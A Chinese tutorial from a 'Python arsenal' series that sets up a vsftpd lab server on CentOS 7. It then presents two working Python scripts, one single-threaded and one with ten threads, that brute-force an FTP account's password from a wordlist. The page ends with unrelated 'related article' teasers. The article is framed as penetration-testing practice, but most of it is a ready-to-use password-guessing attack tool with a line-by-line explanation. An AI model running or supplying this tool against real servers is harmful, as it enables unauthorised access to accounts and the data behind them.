Python武器库开发-武器库篇之FTP服务暴力破解(五十三)

Python武器库开发-武器库篇之FTP服务暴力破解(五十三)

FTP (File Transfer Protocol) 是一种用于在网络上传输文件的协议。它允许用户通过一个客户端应用程序连接到远程服务器,并通过该服务器传输文件。FTP 服务是在互联网上广泛使用的一种服务,它使用户能够在不同计算机之间快速、安全地共享文件。FTP 服务有两个主要角色:客户端和服务器。客户端是用户使用的应用程序,用于连接到远程服务器并进行文件传输。用户可以使用客户端应用程序进行上传和下载文件,管理文件和目录,以及执行其他与文件操作相关的任务。
服务器是提供 FTP 服务的计算机。它运行 FTP 服务器软件,接受来自客户端的连接,并处理文件传输请求。服务器管理文件和目录的权限,控制用户访问的权限,并提供其他与文件传输相关的功能。FTP 使用两个主要端口进行通信:控制端口和数据端口。控制端口(默认为端口 21)用于建立连接、发送命令和接收服务器的响应。数据端口(默认为端口 20)用于实际的文件传输。

FTP 支持多种认证方式,包括匿名访问和基于用户名和密码的访问。匿名访问允许用户以匿名方式连接到 FTP 服务器,并以只读方式访问公共文件。基于用户名和密码的访问则要求用户提供有效的用户名和密码进行身份验证,并根据其权限进行文件传输和管理。尽管 FTP 是一种常用的文件传输协议,但它的安全性较低。传统的 FTP 传输是明文传输,可能导致敏感数据泄露。为了增加安全性,可以使用安全的 FTP 变体(如 FTPS 或 SFTP),它们通过加密数据流来保护文件传输。总之,FTP 服务是一种方便、快速的文件传输协议,可用于在网络上共享文件。它在各种场景中得到广泛应用,包括网站维护、文件共享和远程备份等。

环境准备

首先,我们需要准备一台Centos7机器作为靶机,CentOS 7 配置 FTP 服务,可以使用 vsftpd (Very Secure FTP Daemon)。以下是配置步骤:

  1. 安装 vsftpd:sudo yum install -y vsftpd
  2. 启动并使 vsftpd 服务开机自启:
sudo systemctl start vsftpd
sudo systemctl enable vsftpd
  1. 添加用户并设置权限(如果需要):
sudo adduser ftpuser
sudo passwd ftpuser
  1. 重启 vsftpd 服务以应用更改:sudo systemctl restart vsftpd
  2. 配置防火墙允许 FTP 流量:
sudo firewall-cmd --zone=public --add-service=ftp --permanent
sudo firewall-cmd --reload

在这里插入图片描述

我们在做渗透测试的过程中,常常会对目标服务器的FTP服务进行暴力破解,本文将教会大家如何使用python暴力破解FTP服务,代码如下:

#!/usr/bin/env python

import ftplib

host = "192.168.41.147"
#ftp用户
user = "ftpuser"
port = 21
passwords = open("PasswordFile.txt").read().split('\n')

def connect_ftp(password):
    #初始化一个ftp客户端
    ftp_client = ftplib.FTP()
    print(f"[!] 正在尝试密码", password)
    try:
        ftp_client.connect(host=host, port=port, timeout=10)
        ftp_client.login(user=user, passwd=password)
        ftp_client.quit()
        return True
    except ftplib.error_perm:
        return False

for password in passwords:
    if connect_ftp(password):
        print(f"[*] 密码尝试成功 :", password)
        break

这段代码是一个尝试破解FTP密码的程序。

首先,它导入了ftplib模块,这是Python内置的用于实现FTP客户端的模块。

然后,它定义了一些变量,包括FTP服务器的主机地址、FTP用户、端口号和密码文件的路径。

接下来,它定义了一个函数connect_ftp(password),用于尝试连接FTP服务器并尝试给定的密码。在函数中,它首先创建一个FTP对象,并尝试连接到FTP服务器。然后,它使用给定的用户和密码进行登录,并在登录成功后主动退出FTP连接。如果登录过程中抛出了ftplib.error_perm异常,则表示密码错误,函数返回False;否则,表示密码正确,函数返回True

最后,它使用一个循环遍历密码文件中的每个密码,并调用connect_ftp(password)函数进行尝试。如果成功登录,则打印出密码并跳出循环。

总体来说,这段代码的目的是通过遍历密码文件中的密码来尝试破解FTP密码。

以下是实际实验效果图:

在这里插入图片描述

可是在实际过程中,我们会发现这样暴力破解的效率非常之慢,所以接下来我们优化一下这段代码:

#!/usr/bin/env python

import ftplib
from threading import Thread
import queue

#ftp服务器
host = "192.168.41.147"
#ftp用户
user = "ftpuser"
#ftp端口
port = 21
#密码字典
passwords = []
with open("PasswordFile.txt") as f:
    passwords = f.read().split('\n')

#队列
q = queue.Queue()
#线程数
n_threads = 10

def connect_ftp():
    while True:
        password = q.get()
        print(password)
        ftp_client = ftplib.FTP()
        print(f"[!] 正在尝试密码", password)
        try:
            ftp_client.connect(host=host,port=port,timeout=10)
            ftp_client.login(user=user,passwd=password)
        except ftplib.error_perm:
            pass
        else:
            print(f"[*] 密码尝试成功:", password)
            ftp_client.quit()
            q.queue.clear()
            break
        finally:
            q.task_done()


for password in passwords:
    q.put(password)


for t in range(n_threads):
    thread = Thread(target=connect_ftp)
    thread.daemon = True
    thread.start()

q.join()

首先,导入了必要的库:ftplib用于FTP操作,Thread用于多线程操作,queue用于线程安全的队列操作。

接下来定义了一些必要的变量:ftp服务器的地址、ftp用户、ftp端口,以及密码字典,密码字典是从一个文件中读取的。

然后,创建了一个队列q,并设置线程数为n_threads。

定义了一个connect_ftp函数,该函数作为线程的目标函数。函数会不断从队列中取出密码进行尝试,尝试连接到ftp服务器并尝试登录。如果登录成功,则输出密码尝试成功,并退出程序。如果登录失败,则继续从队列中取下一个密码进行尝试。

接下来,使用密码字典中的密码依次填充队列。

然后,创建了n_threads个线程,每个线程都运行connect_ftp函数。这些线程被设置为守护线程,即主线程结束时,子线程也会自动结束。

最后,调用队列的join方法,等待所有任务完成。

总的来说,这段代码会使用多线程并发地尝试密码字典中的密码登录FTP服务器,直到找到正确的密码为止。

以下是实际实验效果图:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/362336.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

postman用法

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、postman怎么使用json输出 总结 前言 提示:这里可以添加本文要记录的大概内容: 提示:以下是本篇文章正文内容&#xff0…

人工智能时代:AI提示工程的奥秘 —— 驾驭大语言模型的秘密武器

文章目录 一、引言二、提示工程与大语言模型三、大语言模型的应用实践四、策略与技巧五、结语《AI提示工程实战:从零开始利用提示工程学习应用大语言模型》亮点内容简介作者简介目录获取方式 一、引言 随着人工智能技术的飞速发展,大语言模型作为一种新…

如何在FBX剔除Lit.shader依赖

1)如何在FBX剔除Lit.shader依赖 2)Unity出AAB包(PlayAssetDelivery)模式下加载资源过慢问题 3)如何在URP中正确打出Shader变体 4)XLua打包Lua文件粒度问题 这是第371篇UWA技术知识分享的推送,精…

VueFire:一个一流的 Vue 和 Firebase 体验,包括对 Nuxt 的支持,现在已经稳定了

VueFire,一个一流的 Vue 和 Firebase 体验 — 包括对 Nuxt 的支持,现在已经稳定了。 Vue 和 Firebase 现在比以往任何时候都更好了。 构建更好的VueFire 去年,我们宣布与 Eduardo San Martin Morote 合作,构建一个成熟的 Vue 和…

算法面试八股文『 基础知识篇 』

博客介绍 近期在准备算法面试,网上信息杂乱不规整,出于强迫症就自己整理了算法面试常出现的考题。独乐乐不如众乐乐,与其奖励自己,不如大家一起嗨。以下整理的内容可能有不足之处,欢迎大佬一起讨论。 PS:…

前端封装websocket类,实现消息注册和全局回调

实现消息注册和回调函数,实现全局使用同一个webscoket对象,并实现断线重连和心跳连接等功能,可以实现全局使用唯一实例,可以另外进行拓展配置 // WebSocket类对象 class WebSocketCli {// 构造函数constructor(url: string, opts…

Android悬浮窗实现步骤

最近想做一个悬浮窗秒表的功能,所以看下悬浮窗具体的实现步骤 1、初识WindowManager 实现悬浮窗主要用到的是WindowManager SystemService(Context.WINDOW_SERVICE) public interface WindowManager extends ViewManager {... }WindowManager是接口类&#xff0c…

如何判断 LM358 芯片是否损坏或故障?

LM358 芯片是一种流行的低功耗双运放,广泛应用于各种电子电路中,包括放大器、滤波器、积分器、比较器等。它以其低成本、高性价比和广泛的工作电源范围(3V至32V单电源或1.5V至16V双电源)而被广泛使用。 然而,像所有电…

【Docker与微服务】基础篇

1 Docker简介 1.1 docker是什么 1.1.1 问题:为什么会有docker出现? 假定您在开发一个项目,您使用的是一台笔记本电脑而且您的开发环境具有特定的配置。其他开发人员身处的环境配置也各有不同。您正在开发的应用依赖于您当前的配置且还要依…

Vue中使用定义的函数时,无法访问到data()里面的数据

const translateItems1 () > {this.translatedItems this.items1.map(item > {return {...item,label: this.$t(item.labelKey)};}); items1是我们data()里面的数据,无法访问到 解决办法 把箭头函数替换为普通函数 const translateItems1 function() {th…

Prometheus的监控告警

前言 alter是一个单独的模块,需要单独的配置 需要声明邮箱地址。配置以configmap进行配置。 altermanager也是pod部署。部署在k8s集群当中。 alertmanager设置告警邮件 apiVersion: v1 kind: ConfigMap metadata:name: alertmanagernamespace: monitor-sa data:al…

blender 画笔的衰成曲线Falloff Curve

Blender画笔是用来在雕刻模式或绘画模式下对物体进行修改的工具。画笔有不同的类型和设置,可以影响画笔的效果和外观。你提到的选项是画笔的衰减曲线(Falloff Curve)的预设,它们决定了画笔的强度如何随着距离中心的距离而变化。 …

【web | CTF】攻防世界 easyupload

天命:好像也不太easy 目录 步骤一:准备文件 步骤二:上传文件 本条题目有好几个防御点: 后缀名防御:只能上传图片格式内容防御:内容不能有php图片头防御:检测文件的头部信息,是否是…

LM Studio-简化安装和使用开源大模型 | OpenAI API 文字转语音本地运行程序分享

原文:LM Studio-简化安装和使用开源大模型 | OpenAI API 文字转语音本地运行程序分享 - 知乎 实测在Mac上使用Ollama与AI对话的过程 - 模型选择、安装、集成使用记,从Mixtral8x7b到Yi-34B-Chat 官网:https://lmstudio.ai/ 最近用上了LM St…

软件工程知识梳理6-运行和维护

软件维护需要的工作量很大,大型软件的维护成本高达开发成本的4倍左右。所以,软件工程的主要目的就是要提高软件的可维护性,减少软件维护所需要的工作量,降低软件系统的总成本。 定义:软件已经交付使用之后,…

java面向对象基础(面试)

一、面向对象基础 1. 面向对象和面向过程的区别 面向过程把解决问题的过程拆成一个个方法,通过一个个方法的执行解决问题。面向对象会先抽象出对象,然后用对象执行方法的方式解决问题。 2.创建一个对象用什么运算符?对象实体与对象引用有何不同? n…

数据防泄密方案公司(dlp数据防泄密厂商排名)

在当今数字化时代,数据已经成为了企业最重要的资产之一。然而,随着企业信息化的不断深入,数据泄露的风险也越来越大。为了保护企业的核心数据,越来越多的企业开始重视数据防泄密工作,并寻求专业的数据防泄密方案提供商…

4-MongoDB索引知识

4.1 概述 索引支持在MongoDB中高效地执行查询。如果没有索引,MongoDB必须执行全集合扫描,即扫描集合中的每个文档,以选择与查询语句匹配的文档。这种扫描全集合的查询效率是非常低的,特别在处理大量的数据时,查询可以要…

api接口1688商品详情接口采集商品详情数据商品价格详情页数据可支持高并发调用演示示例

接入1688商品详情API接口的步骤如下: 注册账号:首先,你需要在1688开放平台注册一个账号。 创建应用:登录后,在控制台中找到“我的应用”,点击“创建应用”。 获取API密钥:创建应用后&#xff…

VSCode 设置代理

Open Visual Studio Code, click the settings icon in the lower left corner, and click Settings.